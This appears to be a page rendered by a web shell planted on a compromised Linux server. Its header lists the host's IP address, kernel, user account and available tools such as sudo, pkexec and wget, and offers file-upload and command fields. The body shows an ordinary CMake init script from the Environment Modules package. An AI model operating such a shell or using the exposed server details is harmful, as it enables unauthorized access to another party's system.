SCDNG PELER
Server IP : 162.241.126.129  /  Your IP : 3.15.229.217
Web Server : Apache
System : Linux 162-241-126-129.cprapid.com 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
User : rvway5nu4 ( 1018)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/Modules/init/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /usr/share/Modules/init/cmake
# define modules runtine quarantine configuration
set(ENV{MODULES_RUN_QUARANTINE} "LD_LIBRARY_PATH LD_PRELOAD")

# setup quarantine if defined
set(_mlre "")
if(DEFINED ENV{MODULES_RUN_QUARANTINE})
   string(REPLACE " " ";" _mlv_list "$ENV{MODULES_RUN_QUARANTINE}")
   foreach(_mlv ${_mlv_list})
      if(${_mlv} MATCHES "^[A-Za-z_][A-Za-z0-9_]*$")
         if(DEFINED ENV{${_mlv}})
            set(_mlre "${_mlre}${_mlv}_modquar=$ENV{${_mlv}};")
         endif()
         set(_mlrv "MODULES_RUNENV_${_mlv}")
         set(_mlre "${_mlre}${_mlv}=$ENV{${_mlrv}};")
     endif()
   endforeach()
   if (NOT "${_mlre}" STREQUAL "")
      set(_mlre "env;${_mlre}")
   endif()
endif()

# define module command and surrounding initial environment (default value
# for MODULESHOME, MODULEPATH, LOADEDMODULES and parse of init config files)
execute_process(COMMAND mktemp -t moduleinit.cmake.XXXXXXXXXXXX
  OUTPUT_VARIABLE tempfile_name
  OUTPUT_STRIP_TRAILING_WHITESPACE)
execute_process(COMMAND ${_mlre} /usr/bin/tclsh /usr/share/Modules/libexec/modulecmd.tcl cmake autoinit
  OUTPUT_FILE ${tempfile_name})
if(EXISTS ${tempfile_name})
  include(${tempfile_name})
  file(REMOVE ${tempfile_name})
endif()

# redefine module command if compat version has been activated
if("$ENV{MODULES_USE_COMPAT_VERSION}" STREQUAL "1")
   set(ENV{MODULES_CMD} "/usr/share/Modules/libexec/modulecmd-compat")
   function(module)
      execute_process(COMMAND mktemp -t moduleinit.cmake.XXXXXXXXXXXX
         OUTPUT_VARIABLE tempfile_name
         OUTPUT_STRIP_TRAILING_WHITESPACE)
      execute_process(COMMAND /usr/share/Modules/libexec/modulecmd-compat cmake ${ARGV}
         OUTPUT_FILE ${tempfile_name})
      if(EXISTS ${tempfile_name})
         include(${tempfile_name})
         file(REMOVE ${tempfile_name})
      endif()
      # return value as done on new main version
      set(module_result TRUE PARENT_SCOPE)
   endfunction(module)
endif()

Anon7 - 2022
SCDN GOK